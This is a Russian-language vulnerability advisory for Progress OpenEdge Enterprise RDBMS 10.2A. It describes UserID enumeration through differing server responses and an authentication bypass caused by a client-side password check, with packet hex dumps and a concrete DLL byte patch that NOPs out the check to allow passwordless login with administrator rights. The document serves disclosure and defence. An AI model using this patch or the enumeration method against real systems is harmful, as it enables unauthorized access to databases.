DSECRG-11-008

Вендор

Progress

Продукт

Progress OpenEdge Enterprise RDBMS 10.2A, возможно и другие

Тип уязвимости

Множественные уязвимости архитектуры

Reported

13.10.2009

Date of Public Advisory

24.01.2011

Автор

Александр Поляков, Алексей Синцов, Алексей Трошичев

Детальное описание

Progress OpenEdge Enterprise RDBMS (ранее известная как Progress RDBMS) - это высокоэффективная РСУБД производства компании Progress Software Corp productions. Она широко используется как бэкенд кастомизованных ERP-систем. У этой РСУБД есть уязвимости, которые позволяют вычислить UserID и обойти аутентификацию.

Детали
*********
1. Вычисление UserID
Злоумышленник может получить действительный UserID. Это возможно, потому что сервер  OpenEdge RDBMS выдает разные ответы в случае неправильного пароля и несуществующего UserID. Клиентское приложение в обоих случаях выдает сообщение “Your Password and UserID <USERID> do not match”. Однако на уровне сети ответы от сервера разные:

Packet 1. От сервера - клиенту, если UserID существует (UserID eq AAA):

0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E. 
0x0010 00 C3 00 00 00 00 40 06-7C 33 7F 00 00 01 7F 00 .A....@.|3.... 
0x0020 00 01 0B B8 10 42 56 07-00 00 00 00 00 00 50 00 ...?.BV.......P. 
0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 9B 00 4F @..........-.›.O 
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 
0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 4F FF FB ..........h.Oyu 
0x0070 00 00 00 00 00 00 0F 02-00 00 00 00 00 00 00 00 ................ 
0x0080 22 C0 E7 00 02 00 3C 01-FB 03 41 41 41 10 72 6D "Ac...<.u.AAA.rm 
0x0090 57 78 6A 69 64 4E 63 6E-4D 64 6D 69 61 63 03 41 WxjidNcnMdmiac.A 
0x00A0 41 41 FA 00 09 FD FD FD-FD FD FD FD FD FF FA 00 AAu..yyyyyyyyyu. 
0x00B0 09 FD FD FD FD FD FD FD-FD FF FD FD FD FD FD FD .yyyyyyyyyyyyyyy 
0x00C0 FD FD FD FD FD FD FD FD-FD FD FD FD FD FD FD FD yyyyyyyyyyyyyyyy 
0x00D0 FD y 

Packet 2. От сервера - клиенту, если UserID не существует:

0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E. 
0x0010 00 74 00 00 00 00 40 06-7C 82 7F 00 00 01 7F 00 .t....@.|‚.... 
0x0020 00 01 0B B8 10 45 56 07-00 00 00 00 00 00 50 00 ...?.EV.......P. 
0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 4C FB 41 @..........-.LuA 
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 
0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 00 FF FB ..........h..yu 

Таким образом, злоумышленник может подключаться к серверу RDBMS с разными UserID и просматривать ответы сети, чтобы получить существующий UserID. 

2. Обход аутентификации

Злоумышленник, действующий удаленно, может войти в RDBMS, используя существующий или несуществующий UserID, без пароля. Это возможно, потому что процесс аутентификации происходит на стороне клиента. Если пароль неверный, то клиентское приложение сбросит соединение с сервером и покажет сообщение. Если пароль верный, клиент отправит на сервер UserID, который он будет использовать в RDBMS.

Packet 3. От клиента - серверу, если пароль для UserID TEST2 верный:

0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E. 
0x0010 00 6E 00 00 00 00 40 06-7C 88 7F 00 00 01 7F 00 .n....@.|?.... 
0x0020 00 01 0B 27 0B B8 13 03-00 00 00 00 00 00 50 00 ...'.?........P. 
0x0030 40 00 00 00 00 00 00 00-00 09 00 14 00 46 00 00 @............F.. 
0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 
0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 73 ..............Us 
0x0060 65 72 69 64 20 69 73 20-6E 6F 77 20 54 45 53 54 erid is now TEST 
0x0070 32 2E 20 28 37 30 38 29-00 00 00 00 2. (708).... 

Пример атаки
****************
Patch of %OpenEdge%\bin\prow32.dll (for version 10.2A) 

Begin address: 0x020065 
- 0f85ce020000 
+ 909090909090 

После этого запустите DataAdministration(%OpenEdge%\bin\prowin32.exe) и попробуйте войти в RDBMS с любым UserID без пароля. Приложение покажет сообщение об ошибке, но позволит войти в RDBMS с выбранным UserID. Если выбранный UserID имеет привилегии Security Administrator, злоумышленник их получит. По умолчанию в  OpenEdge RDBMS все пользователи имеют этот набор привилегий.

Решение
**********
Единственно возможный способ исправления - использовать аутентификацию Windows вместо проприетарной.